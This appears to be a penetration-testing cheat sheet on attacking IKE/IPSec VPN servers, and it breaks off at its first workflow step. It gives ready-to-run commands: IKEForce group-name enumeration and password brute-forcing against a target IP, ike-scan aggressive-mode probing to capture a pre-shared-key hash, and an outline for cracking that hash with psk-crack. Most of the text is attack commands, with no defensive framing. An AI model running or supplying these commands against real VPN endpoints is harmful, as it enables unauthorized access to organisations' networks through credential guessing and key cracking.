IKE is aprt of IPSec protocol, which is part of VPN's, it uses UDP port 500.

IKEFORCE

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip 
git clone <https://github.com/SpiderLabs/ikeforce.git> 
 

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan

ike-scan TARGET-IP 
ike-scan -A TARGET-IP 
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers
2. Enumerate with IKEForce to obtain the group ID
3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash

Step 1: Identify IKE Servers (uses https://github.com/portcullislabs/udp-proto-scanner)